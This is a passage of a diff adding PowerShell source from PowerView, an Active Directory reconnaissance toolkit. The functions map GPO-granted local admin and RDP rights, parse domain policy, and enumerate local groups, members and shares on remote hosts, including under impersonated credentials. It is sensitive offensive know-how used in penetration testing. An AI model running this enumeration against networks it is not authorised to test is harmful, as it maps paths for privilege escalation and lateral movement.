users/groups +are in the specified local group for a target machine through GPO correlation. + +If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to +determine the OU the computer is a part of. Then resolve the computer's site name with +Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to +enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For +each resulting GPO group, resolve the resulting user/group name to a full AD object and +return the results. This will return the domain objects that are members of the specified +-LocalGroup for the given computer. + +Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and +localgroup specifications. + +.PARAMETER ComputerIdentity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. + +.PARAMETER OUIdentity + +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. + +.PARAMETER LocalGroup + +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. + +.PARAMETER Domain + +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local + +Finds users who have local admin rights over WINDOWS3 through GPO correlation. + +.EXAMPLE + +Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP + +Finds users who have RDP rights over WINDOWS4 through GPO correlation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local + +.OUTPUTS + +PowerView.GGPOComputerLocalGroupMember +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GGPOComputerLocalGroupMember')] + [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] + Param( + [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] + [String] + $ComputerIdentity, + + [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] + [Alias('OU')] + [String] + $OUIdentity, + + [String] + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['ComputerIdentity']) { + $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' + + if (-not $Computers) { + throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." + } + + ForEach ($Computer in $Computers) { + + $GPOGuids = @() + + # extract any GPOs linked to this computer's OU through gpLink + $DN = $Computer.distinguishedname + $OUIndex = $DN.IndexOf('OU=') + if ($OUIndex -gt 0) { + $OUName = $DN.SubString($OUIndex) + } + if ($OUName) { + $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } + } + } + + # extract any GPOs linked to this computer's site through gpLink + Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" + $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName + if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { + $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } + } + } + + # process any GPO local group settings from the GPO GUID set + $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { + $GPOGroup = $_ + + if($GPOGroup.GroupMembers) { + $GPOMembers = $GPOGroup.GroupMembers + } + else { + $GPOMembers = $GPOGroup.GroupSID + } + + $GPOMembers | ForEach-Object { + $Object = Get-DomainObject @CommonArguments -Identity $_ + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOComputerLocalGroupMember = New-Object PSObject + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType + $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') + $GPOComputerLocalGroupMember + } + } + } + } + } +} + + +function Get-DomainPolicyData { +<# +.SYNOPSIS + +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID + +.DESCRIPTION + +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller using Get-DomainGPO. + +.PARAMETER Domain + +The domain to query for default policies, defaults to the current domain. + +.PARAMETER Policy + +Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies. +Otherwise queries for the particular GPO name or GUID. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainPolicyData + +Returns the default domain policy for the current domain. + +.EXAMPLE + +Get-DomainPolicyData -Domain dev.testlab.local + +Returns the default domain policy for the dev.testlab.local domain. + +.EXAMPLE + +Get-DomainGPO | Get-DomainPolicy + +Parses any GptTmpl.infs found for any policies in the current domain. + +.EXAMPLE + +Get-DomainPolicyData -Policy DC -Domain dev.testlab.local + +Returns the policy for the dev.testlab.local domain controller. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainPolicyData -Credential $Cred + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Source', 'Name')] + [String] + $Policy = 'Domain', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ConvertArguments = @{} + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $ConvertArguments['Domain'] = $Domain + } + + if ($Policy -eq 'All') { + $SearcherArguments['Identity'] = '*' + } + elseif ($Policy -eq 'Domain') { + $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' + } + elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) { + $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' + } + else { + $SearcherArguments['Identity'] = $Policy + } + + $GPOResults = Get-DomainGPO @SearcherArguments + + ForEach ($GPO in $GPOResults) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'OutputObject' = $True + } + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | ForEach-Object { + $_ | Add-Member Noteproperty 'GPOName' $GPO.name + $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname + $_ + } + } + } +} + + +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { +<# +.SYNOPSIS + +Enumerates the local groups on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function will enumerate the names and descriptions for the +local groups on the current, or remote, machine. By default, the Win32 API +call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT" +causes the WinNT service provider to be used instead, which returns group +SIDs along with the group names and descriptions/comments. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". + +.EXAMPLE + +Get-NetLocalGroup + +ComputerName GroupName Comment +------------ --------- ------- +WINDOWS1 Administrators Administrators have comple... +WINDOWS1 Backup Operators Backup Operators can overr... +WINDOWS1 Cryptographic Operators Members are authorized to ... +... + +.EXAMPLE + +Get-NetLocalGroup -Method Winnt + +ComputerName GroupName GroupSID Comment +------------ --------- -------- ------- +WINDOWS1 Administrators S-1-5-32-544 Administrators hav... +WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... +WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author... +... + +.EXAMPLE + +Get-NetLocalGroup -ComputerName primary.testlab.local + +ComputerName GroupName Comment +------------ --------- ------- +primary.testlab.local Administrators Administrators have comple... +primary.testlab.local Users Users are prevented from m... +primary.testlab.local Guests Guests have the same acces... +primary.testlab.local Print Operators Members can administer dom... +primary.testlab.local Backup Operators Backup Operators can overr... + +.OUTPUTS + +PowerView.LocalGroup.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroup.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +.LINK + +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroup.API')] + [OutputType('PowerView.LocalGroup.WinNT')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { + # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information + + # arguments for NetLocalGroupEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_INFO_1 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $LocalGroup = New-Object PSObject + $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer + $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name + $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment + $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API') + $LocalGroup + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + $ComputerProvider = [ADSI]"WinNT://$Computer,computer" + + $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $LocalGroup = ([ADSI]$_) + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'ComputerName' $Computer + $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name')) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value) + $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description')) + $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT') + $Group + } + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetLocalGroupMember { +<# +.SYNOPSIS + +Enumerates members of a specific local group on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Convert-ADName + +.DESCRIPTION + +This function will enumerate the members of a specified local group on the +current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers +will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider +to be used instead, which returns a larger amount of information. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +.PARAMETER GroupName + +The local group name to query for users. If not given, it defaults to "Administrators". + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". + +.EXAMPLE + +Get-NetLocalGroupMember | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True + +.EXAMPLE + +Get-NetLocalGroupMember -Method winnt | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True + +.EXAMPLE + +Get-NetLocalGroup | Get-NetLocalGroupMember | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True +WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False +WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False +WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN +WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN + +.EXAMPLE + +Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False +primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False + +.OUTPUTS + +PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +.LINK + +http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { + # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information + + # arguments for NetLocalGroupGetMembers + $QueryLevel = 2 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + $Members = @() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = '' + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname + $Member | Add-Member Noteproperty 'SID' $SidString + $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API') + $Members += $Member + } + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + # try to extract out the machine SID by using the -500 account as a reference + $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID + if ($MachineSid) { + $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) + + $Members | ForEach-Object { + if ($_.SID -match $MachineSid) { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' $True + } + } + } + else { + $Members | ForEach-Object { + if ($_.SID -notmatch 'S-1-5-21') { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' + } + } + } + $Members + } + else { + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + try { + $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" + + $GroupProvider.psbase.Invoke('Members') | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + + $LocalUser = ([ADSI]$_) + $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') + $IsGroup = ($LocalUser.SchemaClassName -like 'group') + + if(([regex]::Matches($AdsPath, '/')).count -eq 1) { + # DOMAIN\user + $MemberIsDomain = $True + $Name = $AdsPath.Replace('/', '\') + } + else { + # DOMAIN\machine\user + $MemberIsDomain = $False + $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') + } + + $Member | Add-Member Noteproperty 'AccountName' $Name + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain + + # if ($MemberIsDomain) { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # try { + # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin') + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # } + # else { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description) + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + # # UAC flags of 0x2 mean the account is disabled + # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2) + # try { + # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # } + + $Member + } + } + catch { + Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_" + } + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetShare { +<# +.SYNOPSIS + +Returns open shares on the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetShareEnum Win32API call to query +a given host for open shares. This is a replacement for "net share \\hostname". + +.PARAMETER ComputerName + +Specifies the hostname to query for shares (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetShare + +Returns active shares on the local host. + +.EXAMPLE + +Get-NetShare -ComputerName sqlserver + +Returns active shares on the 'sqlserver' host + +.EXAMPLE + +Get-DomainComputer | Get-NetShare + +Returns all shares for all computers in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetShare -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.ShareInfo + +A PSCustomObject representing a SHARE_INFO_1 structure, including +the name/type/remark for each share, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.ShareInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the raw share information + $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of 